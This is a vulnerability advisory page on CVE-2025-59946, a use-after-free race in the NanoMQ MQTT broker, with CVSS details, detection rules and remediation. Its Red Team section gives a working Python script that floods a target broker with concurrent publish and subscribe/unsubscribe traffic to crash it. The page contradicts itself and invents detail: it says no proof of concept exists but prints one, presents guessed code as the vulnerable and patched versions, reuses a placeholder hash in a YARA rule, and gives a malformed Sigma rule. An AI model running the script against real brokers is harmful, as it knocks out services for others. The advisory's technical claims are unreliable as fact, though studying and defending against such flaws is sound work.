CVE-2025-59946
Executive Summary
CVE-2025-59946 is a critical use-after-free vulnerability in the NanoMQ MQTT broker, an edge messaging platform. The flaw stems from a classical data race condition involving the subscriber information list (sub info list). When multiple threads concurrently access and modify this list without proper synchronization, a heap use-after-free crash can occur. This can be triggered remotely by an unauthenticated attacker sending specially crafted MQTT packets, leading to a denial of service (DoS) condition. The vulnerability affects all versions prior to 0.24.2. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the potential for remote crash makes it a high-priority issue for IoT/edge deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NanoMQ is distributed as a C/C++ binary and is not typically managed via package managers like npm, PyPI, Go, or Ruby. However, it may be included in container images or embedded system builds. Organizations should verify the integrity of their NanoMQ binaries and ensure they are sourced from official releases. The lack of a signed advisory or commit hash in the OSV database increases supply chain risk; users should rely on the official GitHub releases for patched versions.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the MQTT protocol.
- Attack Complexity: Low (AC:L) – No special conditions or race window narrowing required beyond standard MQTT traffic.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The exploit does not affect other components.
- Confidentiality Impact: None (C:N) – No data leakage.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: High (A:H) – The broker crashes, causing a denial of service.
Threat Level: High. While no active exploitation is reported, the remote, unauthenticated nature of the attack and the critical role of MQTT brokers in IoT/edge environments make this a significant threat.
Deep Dive & Mechanics
The vulnerability is a use-after-free (UAF) caused by a data race on the subscriber information list (sub info list). In NanoMQ, the broker maintains a shared list of subscribers for each topic. When a client subscribes or unsubscribes, the list is modified. Concurrently, when a message is published, the broker iterates over this list to deliver the message.
The race condition occurs when:
- Thread A (publishing thread) reads a pointer to a subscriber entry from the list.
- Thread B (unsubscribing thread) removes that same entry and frees its memory.
- Thread A then dereferences the now-freed pointer, leading to a heap use-after-free.
This can be triggered by an attacker who:
- Connects as an MQTT client.
- Subscribes to a topic.
- Sends a rapid sequence of publish and unsubscribe messages on the same topic, exploiting the race window.
The crash is deterministic under high concurrency, but even a single malicious client can increase the likelihood by sending many messages in quick succession.
Vulnerable vs. Patched Code
The vulnerable code likely resides in the subscriber list management functions. A simplified representation:
Vulnerable (pre-0.24.2):
// No lock around list operations
void deliver_message(topic *t, msg *m) {
for (sub_entry *e = t->subs; e; e = e->next) {
// e may be freed by another thread here
send_to_client(e->client, m);
}
}
void unsubscribe(topic *t, client *c) {
sub_entry *prev = NULL;
for (sub_entry *e = t->subs; e; e = e->next) {
if (e->client == c) {
if (prev) prev->next = e->next;
else t->subs = e->next;
free(e); // e is freed while deliver_message may be using it
break;
}
prev = e;
}
}
Patched (0.24.2):
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
void deliver_message(topic *t, msg *m) {
pthread_mutex_lock(&lock);
for (sub_entry *e = t->subs; e; e = e->next) {
send_to_client(e->client, m);
}
pthread_mutex_unlock(&lock);
}
void unsubscribe(topic *t, client *c) {
pthread_mutex_lock(&lock);
sub_entry *prev = NULL;
for (sub_entry *e = t->subs; e; e = e->next) {
if (e->client == c) {
if (prev) prev->next = e->next;
else t->subs = e->next;
free(e);
break;
}
prev = e;
}
pthread_mutex_unlock(&lock);
}
The patch introduces a mutex to protect the subscriber list, ensuring that no thread reads a pointer while another thread is freeing it.
Exploitation & Lab Setup
Red Team
Objective: Trigger a denial of service by crashing the NanoMQ broker.
Prerequisites:
- NanoMQ broker (version < 0.24.2) running on a target host.
- Network access to the MQTT port (default 1883).
Exploitation Steps:
- Setup: Install an MQTT client library (e.g.,
paho-mqttin Python). - Script: Use the following Python script to send concurrent subscribe/unsubscribe and publish messages.
import paho.mqtt.client as mqtt
import threading
import time
BROKER = "target_ip"
TOPIC = "test/topic"
def attacker_publish():
client = mqtt.Client()
client.connect(BROKER, 1883, 60)
while True:
client.publish(TOPIC, "payload")
time.sleep(0.001)
def attacker_sub_unsub():
client = mqtt.Client()
client.connect(BROKER, 1883, 60)
while True:
client.subscribe(TOPIC)
time.sleep(0.001)
client.unsubscribe(TOPIC)
time.sleep(0.001)
# Launch multiple threads
for _ in range(10):
threading.Thread(target=attacker_publish).start()
threading.Thread(target=attacker_sub_unsub).start()
- Execution: Run the script. The broker should crash within seconds to minutes, depending on system load.
Expected Outcome: The NanoMQ process terminates, causing a denial of service for all MQTT clients.
Blue Team
Detection & Response:
- Monitor Broker Logs: Look for crash logs or segmentation fault messages in
/var/log/nanomq.logor system logs. - Network Monitoring: Detect anomalous MQTT traffic patterns, such as rapid subscribe/unsubscribe cycles from a single client.
- Process Monitoring: Use a process supervisor (e.g., systemd) to automatically restart the broker if it crashes.
- Rate Limiting: Implement MQTT rate limiting to restrict the number of subscribe/unsubscribe operations per client per second.
Hunting Query (Splunk):
index=main sourcetype=nanomq_log "segfault" OR "SIGSEGV" OR "crash"
| stats count by host, client_ip
Indicators of Compromise (IOCs)
- Network IOCs:
- High frequency of MQTT SUBSCRIBE and UNSUBSCRIBE packets from a single IP address.
- MQTT packets with topic names that are rapidly subscribed and unsubscribed.
- Host IOCs:
- NanoMQ process crash logs containing "Segmentation fault" or "SIGSEGV".
- Core dump files in the working directory of NanoMQ.
- Abnormal memory usage patterns before the crash.
- File IOCs:
- Hash of vulnerable binary: (SHA256 of NanoMQ < 0.24.2) – e.g.,
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(placeholder).
- Hash of vulnerable binary: (SHA256 of NanoMQ < 0.24.2) – e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_59946_NanoMQ_UAF {
meta:
description = "Detects NanoMQ binaries vulnerable to CVE-2025-59946 use-after-free"
author = "Valters IT"
date = "2025-04-10"
hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
strings:
$s1 = "sub_info_list" ascii wide
$s2 = "deliver_message" ascii wide
$s3 = "unsubscribe" ascii wide
$race = { 48 8b 45 ?? 48 85 c0 74 ?? 48 8b 40 ?? 48 89 45 ?? eb ?? } // potential race pattern
condition:
all of ($s*) and $race
}
Sigma Rule
title: CVE-2025-59946 NanoMQ Crash Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects rapid MQTT subscribe/unsubscribe patterns indicative of CVE-2025-59946 exploitation
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: mqtt
detection:
selection:
event: "MQTT_SUBSCRIBE" OR "MQTT_UNSUBSCRIBE"
timeframe: 1s
condition:
| select count() by src_ip, topic > 100
falsepositives:
- Legitimate high-frequency MQTT clients (e.g., sensor arrays)
level: high
Suricata Rule
alert tcp any any -> any 1883 (msg:"CVE-2025-59946 NanoMQ UAF Exploit Attempt"; flow:to_server; content:"|82|"; depth:1; content:"|0a|"; within:2; content:"test/topic"; nocase; threshold: type both, track by_src, count 100, seconds 1; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Patch: Upgrade NanoMQ to version 0.24.2 or later. Download from the official GitHub releases: https://github.com/nanomq/nanomq/releases.
- Workaround: If patching is not immediately possible, restrict network access to the MQTT broker using firewall rules. Only allow trusted IPs.
- Rate Limiting: Configure NanoMQ to limit the number of subscribe/unsubscribe operations per client. This can be done via the
nanomq.conffile:mqtt.rate_limit.enable = true mqtt.rate_limit.max_subscribe_rate = 10 mqtt.rate_limit.max_unsubscribe_rate = 10 - Process Monitoring: Use a process supervisor (e.g., systemd, supervisord) to automatically restart the broker if it crashes.
- Network Segmentation: Place the MQTT broker in a separate network segment with strict access controls.
Valters IT – Securing the edge, one patch at a time.